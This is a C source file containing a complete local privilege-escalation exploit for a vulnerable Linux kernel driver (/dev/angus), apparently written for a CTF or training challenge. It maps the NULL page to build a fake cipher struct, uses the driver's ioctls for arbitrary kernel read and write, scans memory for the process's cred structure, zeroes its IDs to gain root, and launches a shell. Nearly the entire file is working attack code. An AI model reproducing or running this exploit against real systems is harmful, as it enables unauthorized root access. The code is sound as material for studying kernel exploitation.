#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <unistd.h>

#define CMD_INIT    0x13370001
#define CMD_SETKEY  0x13370002
#define CMD_SETDATA 0x13370003
#define CMD_GETDATA 0x13370004
#define CMD_ENCRYPT 0x13370005
#define CMD_DECRYPT 0x13370006

typedef struct {
  char *key;
  char *data;
  size_t keylen;
  size_t datalen;
} XorCipher;

typedef struct {
  char *ptr;
  size_t len;
} request_t;

void fatal(const char *msg) {
  perror(msg);
  exit(1);
}

int fd;

int angus_init(void) {
  request_t req = { NULL };
  return ioctl(fd, CMD_INIT, &req);
}
int angus_setkey(char *key, size_t keylen) {
  request_t req = { .ptr = key, .len = keylen };
  return ioctl(fd, CMD_SETKEY, &req);
}
int angus_setdata(char *data, size_t datalen) {
  request_t req = { .ptr = data, .len = datalen };
  return ioctl(fd, CMD_SETDATA, &req);
}
int angus_getdata(char *data, size_t datalen) {
  request_t req = { .ptr = data, .len = datalen };
  return ioctl(fd, CMD_GETDATA, &req);
}
int angus_encrypt() {
  request_t req = { NULL };
  return ioctl(fd, CMD_ENCRYPT, &req);
}
int angus_decrypt() {
  request_t req = { NULL };
  return ioctl(fd, CMD_ENCRYPT, &req);
}

XorCipher *nullptr = NULL;

int AAR(char *dst, char *src, size_t len) {
  nullptr->data = src;
  nullptr->datalen = len;
  return angus_getdata(dst, len);
}

void AAW(char *dst, char *src, size_t len) {
  // xorでAAWするので、元データを先に読んでおく
  char *tmp = (char*)malloc(len);
  if (tmp == NULL) fatal("malloc");
  AAR(tmp, dst, len);

  // xorすると書き込みたいデータになるように調整
  for (size_t i = 0; i < len; i++)
    tmp[i] ^= src[i];

  // 書き込み
  nullptr->data = dst;
  nullptr->datalen = len;
  nullptr->key = tmp;
  nullptr->keylen = len;
  angus_encrypt();

  free(tmp);
}

int main() {
  fd = open("/dev/angus", O_RDWR);
  if (fd == -1) fatal("/dev/angus");

  // 偽のXorCipher構造体をNULLポインタに用意
  if (mmap(0, 0x1000, PROT_READ|PROT_WRITE,
           MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE|MAP_POPULATE,
           -1, 0) != NULL)
    fatal("mmap");

  // cred構造体の探索
  prctl(PR_SET_NAME, "nekomaru");
  unsigned long addr;
  size_t stride = 0x1000000;
  char *needle, *buf = malloc(stride);
  if (!buf) fatal("malloc(stride)");
  for (addr = 0xffff888000000000; addr < 0xffffc88000000000; addr += stride) {
    if (addr % 0x10000000000 == 0) printf("[*] Searching 0x%016lx...\n", addr);

    if (AAR(buf, (char*)addr, stride) != 0) continue;

    if (needle = memmem(buf, stride, "nekomaru", 8)) {
      addr += (needle - buf);
      printf("[+] Found comm: 0x%016lx\n", addr);
      break;
    }
  }
  if (addr == 0xffffc88000000000) {
    puts("[-] Not found");
    exit(1);
  }

  unsigned long addr_cred;
  AAR((char*)&addr_cred, (char*)(addr - 8), 8);
  printf("[+] cred: 0x%016lx\n", addr_cred);

  // 権限情報の書き換え
  char zero[0x20] = { 0 };
  AAW((char*)(addr_cred + 4), zero, sizeof(zero));

  puts("[+] Win!");
  system("/bin/sh");
  return 0;
}
